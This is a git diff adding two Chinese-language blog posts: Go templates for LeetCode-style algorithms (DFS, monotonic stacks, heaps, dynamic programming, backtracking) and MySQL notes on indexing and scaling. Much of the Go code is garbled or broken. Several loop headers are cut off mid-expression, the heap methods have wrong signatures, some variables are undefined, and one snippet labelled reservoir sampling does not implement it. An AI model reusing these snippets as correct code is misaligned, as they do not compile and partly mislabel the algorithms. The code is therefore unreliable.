queries [][]string) []float64 { + graph:=buildGraph(equations,values) + res:= []float64{} + for _,v := range queries{ + visited:= map[string]bool{} + res = append(res,DFS(v[0],v[1],graph,visited)) + } + return res +} + +func buildGraph(equations [][]string, values []float64) Graph { + graph :=map[string]map[string]float64{} + for k,v := range equations{ + if graph[v[0]] == nil{ + graph[v[0]]= map[string]float64{} + } + if graph[v[1]] == nil{ + graph[v[1]]= map[string]float64{} + } + graph[v[0]][v[1]]= values[k] + graph[v[1]][v[0]]= 1/ values[k] + } + return graph +} + +func DFS(start, end string, g Graph, visited map[string]bool) float64 { + // 12/4 =3 4 + // 3/1 =3 1 + // 12-4 3-1 + if _, ok := g[start]; !ok { + return -1.0 + } + if start == end { + return 1.0 + } + visited[start] = true + for newStart,value := range g[start]{ + if visited[newStart] == true{ + continue + } + // [12][4]=3 + // [4][2]=2 + // [12]--3--[4]--2--[2]= + res := DFS(newStart,end,g,visited) + if res!=-1.0{ + return res*value + } + } + return -1.0 +} + +``` + +## 平衡二叉树 + +> 平衡二叉树指的是:一个二叉树每个节点的左右两个子树的高度差的绝对值不超过1。如果需要让判断一个树是否是平衡二叉树,只需要死扣定义,然后用递归即可轻松解决。 + +> 如果需要将一个数组或者链表 (逻辑上都是线性的数据结构)转化为平衡二叉树,只需要随便选一个节点,并分配一半到左子树,另一半到右子树即可。同时,如果要求转化为平衡二叉搜索树,则可以选择排序数组或链表的中点,左边的元素为左子树, 右边的元素为右子树即可。 +> 1:如果不需要是二叉搜索树则不需要排序,否则需要排序。 +> 2:也可以不选择中点,算法需要相应调整,感兴趣的同学可以试试。 +> 3:链表的操作需要特别注意环的存在。 + + +## 蓄水池抽样 + + +这个算法叫蓄水池抽样算法 (reservoid sampling)。 +其基本思路是: +-构建一个大小为k 的数组,将数据流的前k 个元素放入数组中。 +-对数据流的前k 个数先不进行任何处理。 +-从数据流的第k+1个数开始,在1~i之间选一个数rand,其中i表示当前是第几个数。 +- 如果rand 大于等于k什么都不做 +- 如果rand 小于k,将rand 和i 交换,也就是说选择当前的数代替已经被选中的数(备胎)。 +- 最终返回幸存的备胎即可 + + +```go +//模版1 +type Solution struct { + indices map[int][]int +} + +func Constructor(nums []int) Solution { + indices := make(map[int][]int) + // 按照值分类 + for k, v := range nums { + if _, ok := indices[v]; !ok { + indices[v] = make([]int, 0) + } + indices[v] = append(indices[v], k) + } + return Solution{indices} +} + +func (this *Solution) Pick(target int) int { + indexList := this.indices[target] + return indexList[rand.Intn(len(indexList))] +} +``` + +> 类 ReservoirSampling 维护了一个大小为 k 的蓄水池,初始时为空。在每次调用 Sample 方法时,将一个新元素 x 插入到蓄水池中,并随机选择一个位置 i,如果 i 小于 k,则用 x 替换蓄水池中的第 i 个元素。最终,返回蓄水池中的 k 个元素。 + + +```go +//模版2 +type ReservoirSampling struct { + k int + reservoir []int +} + +func NewReservoirSampling(k int) *ReservoirSampling { + return &ReservoirSampling{k: k, reservoir: make([]int, 0)} +} + +func (rs *ReservoirSampling) Sample(x int) []int { + n := len(rs.reservoir) + if n < rs.k { + rs.reservoir = append(rs.reservoir, x) + } else { + i := rand.Intn(n + 1) + if i < rs.k { + rs.reservoir[i] = x + } + } + return rs.reservoir +} +``` + + +## 单调栈 + +### 单调栈变种-1 + +```go +func removeDuplicateLetters(s string) string { + var stack []byte + var lastOccurred = map[byte]int{} + var inStack = map[byte]bool{} + // 记录每个字母最后一次出现的位置 + for i := 0; i < len(s); i++ { + lastOccurred[s[i]] = i + } + + for i := 0; i < len(s); i++ { + // 1,判断栈中状态 + if inStack[s[i]] == true{ + continue + } + // 2.维持栈的特性 + for len(stack) > 0 && s[i] < stack[len(stack)-1] { + if i < lastOccurred[stack[len(stack)-1]]{ + inStack[stack[len(stack)-1]] = false + stack = stack[:len(stack)-1] + } else { + // 如果不存在就停下 + break + } + } + // 往栈添加元素 + stack = append(stack, s[i]) + inStack[s[i]] = true + } + + return string(stack) +} +``` +### 单调栈变种-2 + +```go +func removeKdigits(num string, k int) string { + stack :=[]byte{} + count:=k + for i:=0;i0 && len(stack)>0 && stack[len(stack)-1] > num[i]{ + stack = stack[:len(stack)-1] + count-- + } + stack = append(stack,num[i]) + } + //这段代码的作用是从栈顶(也就是切片的末尾)移除 `count` 个元素。 + stack = stack[:len(stack)-count] + ans := strings.TrimLeft(string(stack), "0") + if len(ans) == 0 { + return "0" + } + return ans + +} +``` + + +### 单调栈变种-3 + +> 记录长度。 + +```go +type StockSpanner struct { + stk []pair +} + +func Constructor() StockSpanner { + return StockSpanner{[]pair{}} +} + +func (this *StockSpanner) Next(price int) int { + cnt := 1 + for len(this.stk) > 0 && this.stk[len(this.stk)-1].price <= price { + cnt += this.stk[len(this.stk)-1].cnt + this.stk = this.stk[:len(this.stk)-1] + } + this.stk = append(this.stk, pair{price, cnt}) + return cnt +} + +type pair struct{ price, cnt int } +``` + +## 母题 + +> 给两个**有序**的非空数组nums1 和nums2,让从每个数组中分别挑一个,使得二者差的绝对值最小。/ 给两个有序的非空数组 nums1 和nums2,让将两个数组合并,使得新的数组有序。 + +```go +func Solve(nums1 []int,nums2 []int){ + ans:=1<<9 + first:=0 + second:=0 + for first 0{ + return a + } + return -a +} +``` + + +> 给两个非空数组nums1 和nums2,让从每个数组中分别挑一个,使得二者差的绝对值最小。 + +```go +func Solve(nums1 []int,nums2 []int){ + sort.Slice(nums1,func(i int,j int)bool{ + return nums1[i]0{ + return a + } + return -a +} +``` + + +> 给K个非空有序一维数组,让从每个一维数组中分别挑一个,使得K者差的绝对值最小。 + +```go + +type Item struct{ + value int // 元素的值 + index int // 元素在数组中的下标 + array int // 元素所在的数组编号 +} + + +type PriorityQueue []*Item + +func (pq PriorityQueue) Len() int { + return len(pq) +} + +func (pq PriorityQueue) Less() int { + return pq[i].value < pq[j].value +} + +func (pq PriorityQueue) Swap() int { + pq[i],pq[j] = pq[j],pq[i] +} + +func (pq *PriorityQueue) Push(x interface{}) { + item := x.(*Item) + *pq = append(*pq, item) +} + +func (pq *PriorityQueue) Pop() interface{} { + length := len(*pq) + item := (*pq)[length-1] + *pq = (*pq)[:length-1] + return item +} + +func Solve(nums [][]int){ + k:= len(nums) + pq := []*Item{} + maxNum := -1<<9 + minNum := 1<<9 + ans:=1<<9 + for i := 0; i < k; i++ { + ans=ans+ abs(nums[i][0],ans) + item := &Item{ + value: nums[i][0], + array: i, + index: 0, + } + pq = append(pq,item) + if arr[0] > maxNum { + maxNum = arr[0] + } + if arr[0]< minNum{ + minNum = arr[0] + } + } + for len(pq)>= k{ + minItem:=heap.Pop(&pq).(*Item) + if minItem.index+1< len(nums[minItem.array]){ + v:=nums[minItem.arry][minItem.index+1] + heap.Push(&pq,&Item{ + value : v + index :minItem.index+1, + array: minItem.array, + }) + if vmaxNum{ + maxNum = v + } + ans = min(ans,maxNum -minNim) + }else{ + return ans + } + } + + return ans +} + + +func min(a int,b int)int{ + if a0{ + return a + } + return -a +} +``` + +> 给K个非空无序一维数组,让从每个一维数组中分别挑一个,使得K者差的绝对值最小。 +> 先排序,转化为3 + +> 给k个有序的非空数组nums让将k 个数组合并,使得新的数组有序。 + + +```go +type Item struct{ + value int // 元素的值 + index int // 元素在数组中的下标 + array int // 元素所在的数组编号 +} + +type PriorityQueue []*Item + +func (pq PriorityQueue) Len() int { + return len(pq) +} + +func (pq PriorityQueue) Less() int { + return pq[i].value < pq[j].value +} + +func (pq PriorityQueue) Swap() int { + pq[i],pq[j] = pq[j],pq[i] +} + +func (pq *PriorityQueue) Push(x interface{}) { + item := x.(*Item) + *pq = append(*pq, item) +} + +func (pq *PriorityQueue) Pop() interface{} { + length := len(*pq) + item := (*pq)[length-1] + *pq = (*pq)[:length-1] + return item +} + +func Solve(nums [][]int)[]int{ + k:= len(nums) + pq := []*Item{} + for i := 0; i < k; i++ { + ans=ans+ abs(nums[i][0],ans) + item := &Item{ + value: nums[i][0], + array: i, + index: 0, + } + pq = append(pq,item) + + } + ans:=[]int{} + for len(pq)>0{ + size:= len(pq) + for i:=0;i0{ + return a + } + return -a +} + +``` + +## 动态规划 + +### 动态规划 - 最长子序列问题 + + +> 都是动规+递归+备忘录 + +```go +var memo [][]int +func minimumDeleteSum(s1 string, s2 string) int { + memo = make([][]int,len(s1)) + for k,_ := range memo{ + memo[k] = make([]int,len(s2)) + for j:=0;jj { + return 0 + } + if i == j{ + return 0 + } + if i>=len(s) || i<0 || j>=len(s) || j<0{ + return 0 + } + if memo[i][j] != -1{ + return memo[i][j] + } + if s[i] == s[j]{ + memo[i][j] = dp(s,i+1,j-1) + }else{ + // 在j所指的位置插入 + memo[i][j] = min(dp(s,i+1,j)+1, dp(s,i,j-1)+1) + } + return memo[i][j] +} + +func min(a int, b int) int{ + if a 二分查找 + +```go +func maxEnvelopes(envelopes [][]int) int { + sort.Slice(envelopes, func(i, j int) bool { + if envelopes[i][0] == envelopes[j][0] { + return envelopes[i][1] > envelopes[j][1] + } + return envelopes[i][0] < envelopes[j][0] + }) + + dp := []int{} + for i := 0; i < len(envelopes); i++ { + idx := sort.Search(len(dp), func(j int) bool { return dp[j] >= envelopes[i][1] }) + if idx < len(dp) { + dp[idx] = envelopes[i][1] + } else { + dp = append(dp, envelopes[i][1]) + } + } + return len(dp) +} +``` + + +```go +var memo []int +func maxEnvelopes(envelopes [][]int) int { + sort.Slice(envelopes, func(i, j int) bool { + if envelopes[i][0] == envelopes[j][0] { + return envelopes[i][1] > envelopes[j][1] + } + return envelopes[i][0] < envelopes[j][0] + }) + + memo = make([]int, len(envelopes)) + res := 0 + for i := range envelopes { + //我们遍历所有信封,并调用 `dp(envelopes, i)` 函数,它会返回以第i个信封开始,可以嵌套的最大信封数量。然后我们用 `max(res, dp(envelopes, i))` 更新当前找到的最大嵌套数量。所以,最后的 `res` 就是我们可以嵌套的最大信封数量。

之所以要这样做,是因为我们不能假定总是从第一个信封开始就能得到最多的嵌套信封。我们需要检查所有可能的开始信封,才能保证找到最多的嵌套数量。 + res = max(res, dp(envelopes, i)) + } + return res +} + +func dp(envelopes [][]int, i int) int { + if memo[i] != 0 { + return memo[i] + } + + res := 1 + for j := i+1; j < len(envelopes); j++ { + if envelopes[i][1] < envelopes[j][1] { + res = max(res, dp(envelopes, j)+1) + } + } + memo[i] = res + return res +} + +func max(a, b int) int { + if a > b { + return a + } + return b +} +``` + + +### 动态规划-带维度的单串 + +单串的问题,子问题仅与位置 i 有关时,就形成单串 `dp[i] `的问题。在此基础上,如果子问题还与某种指标 k 有关,k 的物理意义比较常见的有长度,个数,次数,颜色等,则是另一大类问题,状态通常写成 `dp[i][k]`。其中 k 上可能有二分,贪心等算法. + +当 i 变小时,形成小规模子问题,当 k 变小时,也形成小规模子问题,因此推导 `dp[i][k]` 时,i 和 k 两个维度分别是一个独立的单串` dp [i]` 问题。推导 k 时,k 可能与 k - 1,...,1 中的所有小规模问题有关,也可能只与其中常数个有关,参考单串 `dp[i]` 问题中的两种情况。 + +> 256. 粉刷房子 ,其中 k 这一维度的物理意义是颜色推导 k 时,k 与 k - 1,...,1 中的所有小规模问题有关,则 k 这一维度的时间复杂度为 + +单串 `dp[i][k]` 的问题,推导状态时可以先枚举 k,再枚举 i,对于固定的 k,求 `dp[i][k]` 相当于就是在求一个单串 `dp[i]` 的问题,但是计算 `dp[i][k]` 时可能会需要 `k-1` 时的状态。具体的转移需要根据题目条件确定。参考 813。 + +矩阵上的 `dp[i][j]` 这类问题中也有可能会多出 k 这个维度,状态的定义就是 `dp[i][j][k]`,例如 + +> 576 出界的路径数 +> 688 “马” 在棋盘上的概率 + +### 动态规划-带维度经典问题 + + +【813. 最大平均值和的分组】 + +我们将给定的数组 A 分成 K 个相邻的非空子数组 ,我们的分数由每个子数组内的平均值的总和构成。计算我们所能得到的最大分数是多少。 注意我们必须使用 A 数组中的每一个数进行分组,并且分数不一定需要是整数。 + +```go +// 813. 最大平均值和的分组 +func largestSumOfAverages(nums []int, k int) float64 { + n := len(nums) + sum := make([]float64, n+1) + for i := 1; i <= n; i++ { + sum[i] = sum[i-1] + float64(nums[i-1]) + } + // dp[i][j] 为将数组中的前 i 个数分成 j 组所能得到的最大分数 + dp := make([][]float64, n+1) + for i := range dp { + dp[i] = make([]float64, k+1) + dp[i][1] = sum[i] / float64(i) + } + for i := 1; i <= n; i++ { + // 细节1: min(i,k) + for j:=2; j<= min(i,k);j++{ + // 寻找划分点 + // 前 m 个元素分成 j-1 + for m := j-1;m b { + return a + } + return b +} + +``` + +`dp[i][j] `为将数组中的前 i 个数分成 j 组所能得到的最大分数, `dp[i][1] = sum[i] / float64(i)`,表示将数组的前 `i` 个元素分成一组的情况,这个时候的平均值就是所有元素的和除以元素的个数。第一层循环`i := 1; i <= n; i++`表示前i个元素,`j:=2; j<= min(i,k);j++` 表示分为j 组,因为分为1组的情况已经确定了,`m := j-1;m 假设我们有三个重复的数字,例如 `[1,2,2,2]`,数组已经提前进行了排序。当我们在深度优先搜索的过程中,遇到了重复的数字,我们希望的是这些重复的数字只有在前一个相同的数字已经被使用过的情况下才能被使用,这样才能保证生成的全排列中,相同的数字是按照他们在原数组中的顺序进行排列的,从而避免了重复的全排列。举个例子,我们首先选取第一个2,然后继续选取第二个2,然后是第三个2,这样得到了全排列`[2,2,2]` + +```go +// 优化版 +type Solution struct { + path []int + used []bool + res [][]int +} + +func permuteUnique(nums []int) [][]int { + // + sort.Ints(nums) + s := &Solution{ + path: make([]int, 0), + used: make([]bool, len(nums)), + res: make([][]int, 0), + } + s.dfs(nums, 0) + return s.res +} + +func (s *Solution) dfs(nums []int, index int) { + if index == len(nums) { + temp := make([]int, len(s.path)) + copy(temp, s.path) + s.res = append(s.res, temp) + return + } + for i, num := range nums { + if s.used[i] { + continue + } + if i > 0 && nums[i] == nums[i-1] && !s.used[i-1]{ + continue + } + s.used[i] = true + s.path = append(s.path, num) + s.dfs(nums, index+1) + s.used[i] = false + s.path = s.path[:len(s.path)-1] + } +} + +``` + +### 排列变种-3 + +```go +func permute(nums []int, start int, result *[][]int) { + if start == len(nums) { + temp := make([]int, len(nums)) + copy(temp, nums) + *result = append(*result, temp) + return + } + + for i := start; i < len(nums); i++ { + nums[i], nums[start] = nums[start], nums[i] + permute(nums, start+1, result) + nums[i], nums[start] = nums[start], nums[i] + } +} + +func permuteNChooseK(n int, k int) [][]int { + nums := make([]int, n) + for i := 0; i < n; i++ { + nums[i] = i + 1 + } + + result := make([][]int, 0) + permute(nums, 0, &result) + + var finalResult [][]int + for _, v := range result { + if len(v) == k { + finalResult = append(finalResult, v[:k]) + } + } + return finalResult +} +``` + +## 组合 + +### 组合变种-1 + +> 给一个 无重复元素 的整数数组 candidates 和一个目标整数 target ,找出 candidates 中可以使数字和为目标数 target 的 所有 不同组合 ,并以列表形式返回。可以按 任意顺序 返回这些组合。candidates 中的 同一个 数字可以 无限制重复被选取 。如果至少一个数字的被选数量不同,则两种组合是不同的。  + +```go +var res [][]int +var hashSet map[string]bool +func combinationSum(candidates []int, target int) [][]int { + res = [][]int{} + hashSet = map[string]bool{} + backtrack(candidates,target,[]int{}) + return res +} + +func backtrack(candidates []int, target int, path []int){ + if target == 0{ + temp := make([]int,len(path)) + copy(temp,path) + sort.Ints(temp) + tempKey := "" + for _,v := range temp{ + tempKey = tempKey + strconv.Itoa(v) + } + if _,ok := hashSet[tempKey];!ok{ + hashSet[tempKey]=true + res = append(res,temp) + } + return + } + if target<0{ + return + } + for _,v := range candidates{ + backtrack(candidates,target-v,append(path,v)) + } +} +``` + +### 组合变种-2 + +> `if i>start && candidates[i] == candidates[i-1] {continue }`这个的意思是,后面重复的数字的情况会在第一个重复数字的情况中包含,`[1,1,2]`,对于第一个1来说,他组合的下标范围是0~2,第2个1的情况也会被包含在里面。 + + +```go +var res [][]int +func combinationSum2(candidates []int, target int) [][]int { + sort.Ints(candidates) + res = [][]int{} + backtrack(candidates,target,0,[]int{}) + return res +} + +func backtrack(candidates []int,target int ,start int , path []int){ + if target == 0{ + temp:=make([]int,len(path)) + copy(temp,path) + res = append(res,temp) + return + } + + for i:=start;i target{ + break + } + if i>start && candidates[i] == candidates[i-1] { + continue + } + path = append(path,candidates[i]) + backtrack(candidates,target-candidates[i],i+1,path) + path = path[:len(path)-1] + } +} +``` + + +### 总结-组合去重 + +> 重复数字去重 + +```text +对于组合来说,含有重复数字,需要 + +sort.Ints() +然后在backtrack(start int)内部 +for i:=start ;istart && nums[i]==nums[i-1]{ + continue + } + backtrack(i+1) +} +``` + +### 总结-排列去重 + +> 重复数字去重 + +```text +对于组合来说,含有重复数字,需要 + +sort.Ints() +然后在backtrack(start int)内部 +for i:=start ;istart && nums[i]==nums[i-1] && used[i-1]==true{ + continue + } + backtrack(i+1) +} +``` + + +## 单词拆分——回溯/Memo 存储的是子问题的解 + +```go +var memo map[string][]string +var res []string +func wordBreak(s string, wordDict []string) []string { + res = []string{} + memo = make(map[string][]string) + wordSet:= map[string]bool{} + for _,v := range wordDict{ + wordSet[v] = true + } + return backtrack(s,wordSet) +} + + +func backtrack(s string, wordSet map[string]bool) []string { + if _, ok := memo[s]; ok { + return memo[s] + } + if len(s) == 0 { + return []string{""} + } + res:=[]string{} + for word := range wordSet { + if strings.HasPrefix(s, word) { + temp:=backtrack(s[len(word):], wordSet ) + for _,sub:= range temp { + if sub == ""{ + res = append(res,word) + }else{ + res = append(res,word+" "+sub) + } + + } + + } + } + memo[s] = res + return res +} +``` + + + +### Kadane's 模版 +> Kadane's 算法(Kadane's algorithm)是一种用于在数组中寻找最大子数组的算法,其时间复杂度为 O(n)。它的基本思想是维护两个变量:当前最大子数组和和当前最大子数组的右端点。 + + diff --git a/_posts/2023-9-2-test-markdown.md b/_posts/2023-9-2-test-markdown.md new file mode 100644 index 000000000000..edc2a72fdc6c --- /dev/null +++ b/_posts/2023-9-2-test-markdown.md @@ -0,0 +1,885 @@ +--- +layout: post +title: MYSQL +subtitle: +tags: [Mysql] +comments: true +--- + +## 索引不生效 + +**1-SQL没加索引** + +**原因:** 这可能是因为在设计数据库表时没有考虑到查询的需求,或者查询的需求发生了变化。 + +**解决方法:** 根据查询需求添加相应的索引。但要注意,添加过多的索引可能会影响插入和更新的性能。 + +**2-SQL索引不生效** + +- **原因:** MySQL的查询优化器可能决定不使用索引,这可能是因为数据的分布使得全表扫描更快,或者查询中使用了索引列的函数或表达式。 + +- **解决方法:** 根据查询需求和数据分布修改查询,或者使用`FORCE INDEX`强制使用索引。 + +**3-Limit 深分页问题** + +- **原因:** 在分页查询中,如果试图访问结果的后面部分,MySQL需要先找到前面的所有结果,这可能需要大量的时间。 + +- **解决方法:** 避免深度分页。如果可能的话,考虑使用基于游标的分页,或者将结果集缓存起来。 + +**4-Join 子查询过多** + +- **原因:** 过多的子查询可能导致查询性能下降,因为MySQL需要为每个子查询创建临时表。 + +- **解决方法:** 尝试将子查询转化为连接,或者将常见的子查询结果缓存起来。 + +**5-In 元素过多** + +- **原因:** `IN`子句中的元素过多可能导致查询性能下降,因为MySQL需要在列表中查找每个元素。 + +- **解决方法:** 考虑将列表存储在一个临时表中,并使用`JOIN`代替`IN`。 + +**6-数据库在刷脏页面** + +- **原因:** 当数据库的内存缓冲区满了,它需要将一些脏页(已修改但还未写入磁盘的页面)写入磁盘。 + +- **解决方法:** 提高数据库的内存,或者优化数据库的写入模式。 + +**7-Order By 走文件排序** + +- **原因:** 当排序的结果无法放入内存中,MySQL需要使用磁盘进行排序。 + +- **解决方法:** 提高数据库的内存,或者尝试优化查询以减少排序的结果集。 + +**8-拿不到锁** + +- **原因:** 有其他事务正在使用需要的锁,这可能导致的事务等待。 + +**9-拿不到锁** + +- **原因**:数据库在处理事务时,经常使用锁来确保数据的一致性和完整性。如果一个事务正在持有锁,其他尝试获取相同锁的事务就必须等待,这可能导致性能问题。 + +- **解决方法**:优化事务设计,尽可能缩短事务的执行时间,以减少锁定时间。如果可能,可以将大事务拆分为多个小事务。同时,设计良好的索引策略可以减少锁定的范围。 + +**10-Delete + IN 子查询不走索引** + +- **原因**:当在DELETE语句中使用IN子查询时,MySQL可能不会使用索引,因为它需要确保查询的结果集在删除操作开始时和结束时保持一致。 + +- **解决方法**:可以尝试将子查询的结果存储在临时表中,然后基于该临时表进行删除操作。这样可以避免子查询的重复计算,并可能允许MySQL使用索引。 + +**11-Group By使用临时表和文件排序** + +- **原因**:在处理GROUP BY查询时,MySQL可能需要创建临时表和进行文件排序,特别是当分组列不是索引或者排序顺序与索引顺序不匹配时。 + +- **解决方法**:如果可能,应该尝试优化查询,使分组列和排序顺序与索引匹配。另外,增加内存也可以减少文件排序的需求,因为更多的数据可以在内存中排序。如果数据量很大,可能需要考虑使用分布式计算解决方案。 + + + +### 一致性哈希 + +扩容 MySQL 机器的时候,如果简单的将哈希函数由 mod 3 变为 mod n(n 是新的机器数量)的话,将会导致几乎所有的数据都需要重新哈希和分配,这是不可取的。所以,我们应该采用一种能够减少数据迁移的哈希函数,常见的如一致性哈希。 +一致性哈希会将所有的数据和节点映射到一个环形的空间里,当新增或者删除节点的时候,只会影响到环空间中该节点附近的数据,大大减少了数据迁移的数量。 +然而,仅仅使用一致性哈希可能会导致数据分布不均匀,因为它依赖于节点和数据的哈希值。为了解决这个问题,我们可以使用虚拟节点,每个实际节点对应多个虚拟节点,这样就可以使数据更均匀的分布在各个节点上。 +关于插入和查询数据,基本思路如下: +1-插入数据:首先计算数据的哈希值,然后在环形空间中找到这个哈希值顺时针方向上的第一个节点,将数据存储在该节点上。 +2-查询数据:同样的,计算查询数据的哈希值,然后在环形空间中找到这个哈希值顺时针方向上的第一个节点,该节点就是存储数据的节点。 +记住,这种方案的核心在于:当增加或减少节点时,只需重新分配一小部分数据,而不是所有数据,从而减轻了迁移的负担,同时也不会影响在线服务。 + + + +### Mysql 扩容 + +1-问题:什么是MySQL的分片?它的优点和缺点是什么? +答案:MySQL的分片是将数据划分为多个部分,并将其分布在多个服务器上,这样每个服务器只需要处理一部分数据。优点是可以提高系统的性能、可用性和负载平衡。缺点是分片策略的选择和实施可能复杂,而且数据重新分片的过程可能会很麻烦。 + +2-问题:可以描述一下MySQL的复制功能吗? +答案:MySQL的复制功能允许从一个MySQL数据库服务器(称为主服务器)复制数据到一个或多个MySQL数据库服务器(称为从服务器)。主要用于读扩展(把读请求分发到多个从库,减轻主库的读压力)和高可用(当主库出问题时,可以快速切换到从库)。 + +3-问题:如何处理MySQL的写扩展? +答案:写扩展比读扩展更为复杂。一种常见的方法是分片,即将数据分散到多个数据库服务器上,每个服务器只处理一部分写入请求。另一种方法是使用某种形式的队列系统来平衡写入请求,但这可能会引入额外的复杂性和延迟。 + +4-问题:描述一下MySQL中的读写分离? +答案:读写分离是将读和写操作分开的技术,通常是通过主从复制实现的。主库负责写操作和更新,从库负责读操作。这样可以大大提高应用程序的性能 + + +5-问题:什么是MySQL的集群,它是如何运作的? +答案:MySQL集群是一种技术,可以将多个MySQL服务器集成在一起,作为一个单一的可见单位。集群使用分布式架构来确保数据的可用性和持久性,其中每个节点都可以处理读写请求,数据的任何更改都会立即在所有节点上复制。 + +5-问题:如何选择合适的MySQL分片策略? +答案:选择分片策略通常取决于应用程序的需求。例如,如果查询通常基于特定的列进行,那么这个列可能是一个好的分片键。另外,还需要考虑数据分布的均匀性,以避免某些服务器过载而其他服务器闲置。 + +6-问题:MySQL中如何处理数据的一致性问题? +答案:数据一致性问题通常通过几种方式处理,包括:1) 使用事务来保证操作的原子性,2) 使用锁来避免并发操作引发的问题,3) 在分片环境中,可能需要使用**分布式事务**或者其他一些策略来确保一致性。 + +8-问题:什么是MySQL的分区,它与分片有何不同? +答案:MySQL的分区是在单一的数据库表内部将数据划分为多个部分,每个部分可以在磁盘的不同位置存储。这是一个逻辑划分,所有的分区仍然在同一个MySQL实例中。相反,分片是物理划分,数据被分布在多个服务器或实例上。 + +9-问题:如何选择合适的分片策略? +答案:选择合适的分片策略需要根据应用程序的需求和数据库的性质来决定。可能的分片策略包括**基于范围的分片、基于哈希的分片、基于列表的分片等**。选择时需要考虑查询模式、数据均匀性、复杂性和易用性等因素。 + +10-问题:如何确保分片后的数据库系统还能保持一致性? +答案:为了在分片后保持一致性,可以使用两阶段提交或全局事务ID等技术。另外,应用程序需要正确地处理可能出现的分布式系统问题,如网络分区、延迟等。 + +10-问题:请解释一下负载均衡在MySQL扩容中的作用。 +答案:负载均衡是分散到数据库服务器的请求,以防止任何一个服务器过载。在MySQL扩容中,负载均衡可以确保每个服务器都能处理合适的负载,提高系统的整体性能 + + +11-问题:如何处理MySQL的扩容带来的数据迁移问题? +答案:数据迁移是扩容过程中的一个挑战。可以使用在线迁移工具,如gh-ost或pt-online-schema-change,这些工具可以在不中断应用访问的情况下进行数据迁移。还需要进行详细的计划和测试,以确保迁移过程中的数据一致性和最小的停机时间。 + +12-问题:什么是MySQL的主主复制?它如何用于扩容? +答案:主主复制是一种每个节点都可以接受写操作的复制模式。它可以提高写入容量,但需要处理写冲突。这通常通过引入某种形式的分区或者使用冲突解决机制来完成。 + +13-问题:在MySQL扩容过程中,如何避免数据的丢失? +答案:要避免数据丢失,可以使用多种策略,包括定期的数据备份,保证数据在多个节点的复制,以及使用事务来保证操作的原子性。在执行数据迁移或者升级时,还需要保证操作的正确顺序和完整性。 + +14-问题:如何选择MySQL扩容的硬件? +答案:选择MySQL扩容的硬件需要考虑多个因素,包括数据库的大小和查询量,预期的数据增长,以及硬件的性能和价格。通常,需要选择有足够的CPU、内存和磁盘空间来满足需求的服务器。网络的带宽和延迟也是重要因素。 + +15-问题:什么是Galera Cluster,它如何用于MySQL的扩容? +答案:Galera Cluster是一种同步的多主集群解决方案,它允许在任何节点上进行读写操作,且所有的写操作都被复制到所有其他节点。它通过确保所有的节点都有最新的数据来提供高可用性和冗余,因此它可以用于MySQL的扩容。 + +16-问题:什么是MySQL的代理服务器?它如何帮助扩容? +答案:MySQL的代理服务器,如ProxySQL,是一个在MySQL服务器和客户端之间的中间层,可以用于路由或者改写查询,负载均衡和管理复制等。在扩容过程中,代理服务器可以帮助无缝地将查询路由到新的服务器,而不需要更改应用程序代码。 + +17-问题:请描述一下MySQL的分库分表如何进行? +答案:MySQL的分库分表通常涉及将大表或者大库分解为多个较小的表或库,这些表或库可以分布在多个服务器上。这个过程通常需要一些策略,如基于范围的分表、基于哈希的分表等。在分表或分库后,需要在应用程序中实现相应的改变,以正确地访问新的表或库。 + +17-问题:如何判断MySQL的扩容是否成功? +答案:判断MySQL扩容是否成功,可以通过多个指标,包括性能提升(如查询响应时间、吞吐量),负载均衡(如CPU和内存的使用率),以及系统的稳定性和可用性。可以使用监控工具来跟踪这些指标。 + +18-问题:在进行MySQL扩容时,有哪些常见的问题? +答案:在进行MySQL扩容时,可能会遇到一些问题,如数据迁移的问题(如数据一致性、迁移速度),复制延迟,分片策略选择,以及在分布式环境中保持事务一致性等。 + +19-问题:如何处理MySQL扩容带来的数据冗余问题? +答案:数据冗余是扩容的一个挑战,特别是在使用复制时。可以通过合适的数据分片策略以及规范化数据库设计来减少数据冗余。还可以定期进行数据清理和维护,删除不需要的数据。 + +20-问题:请解释一下MySQL的存储引擎对扩容有何影响? +答案:MySQL的存储引擎决定了数据如何存储和检索。例如,InnoDB引擎提供了事务和行级锁定,适合处理大量的并发写入操作。 + +21-问题:什么是MySQL的联邦存储引擎?它在扩容中有什么作用? +答案:MySQL的FEDERATED存储引擎提供了一种让可以访问远程数据库中的表就像它在本地一样的能力。虽然它并不直接涉及扩容,但可以在特定的情况下用来分布数据和查询,达到类似扩容的效果。 + +22-问题:在进行MySQL扩容时,怎样考虑数据安全性? +答案:在进行MySQL扩容时,要考虑数据安全性,包括网络安全(如使用SSL/TLS连接),访问控制(如使用强密码,限制数据库的访问权限),以及数据加密(如使用透明数据加密或列级别的数据加密)。同时,也需要考虑防止数据丢失的措施,如使用冗余存储,定期备份等。 + +23-问题:如果数据扩展到多个MySQL实例,如何处理跨数据库的事务? +答案:处理分布式事务是一个复杂的问题。可以使用两阶段提交(2PC)或者某种全局事务协议来确保跨数据库的一致性。但这可能会引入额外的复杂性和性能开销。另一种方法是尽量避免需要跨数据库的事务,例如通过合理的分片策略。 + +24-问题:如何避免MySQL的热点问题? +答案:热点问题发生在许多操作都试图访问数据库的同一部分时。可以通过分片或者数据分布策略来避免热点问题,确保请求被均匀地分布在数据库的各个部分。另外,适当的索引和查询优化也可以帮助减少热点问题。 + +25-问题:在扩容过程中,如何避免影响数据库的可用性? +答案:在扩容过程中,可以采取一些策略来避免影响数据库的可用性,例如使用在线数据迁移工具,这些工具可以在不中断应用的情况下进行数据迁移。另外,使用主从复制或者集群可以提供高可用性,即使在扩容过程中有节点离线,也可以保证服务的连续性。 + +26- 问题:如何优化MySQL扩容后的性能? +答案:扩容后的性能优化可能包括调整数据库配置(例如,调整内存设置,优化连接池),优化查询(例如,确保使用了正确的索引,避免全表扫描),以及适当的硬件 + +27-问题:为什么我们要优先考虑读扩展而不是写扩展? +答案:读扩展相比写扩展更容易实现。我们可以通过设置主从复制或者读取缓存来实现读扩展,而写扩展则涉及到更复杂的问题,如数据同步、一致性和冲突解决等。因此,在多数情况下,我们首先会考虑读扩展。 + +28-问题:请解释一下如何使用MySQL Proxy实现读写分离? +答案:MySQL Proxy是一个在MySQL服务器和客户端之间的中间层,它可以根据规则对传输的数据包进行操作。在实现读写分离时,MySQL Proxy可以根据SQL语句的类型(读或写)来决定将其路由到主服务器还是从服务器。 + +29-问题:MySQL中的连接池如何影响数据库的扩展性? +答案:连接池可以显著提高数据库的性能和扩展性。通过复用已存在的连接,连接池减少了频繁创建和关闭连接所需的时间和资源。这使得数据库可以更快地响应请求,尤其是在高并发环境下。 + 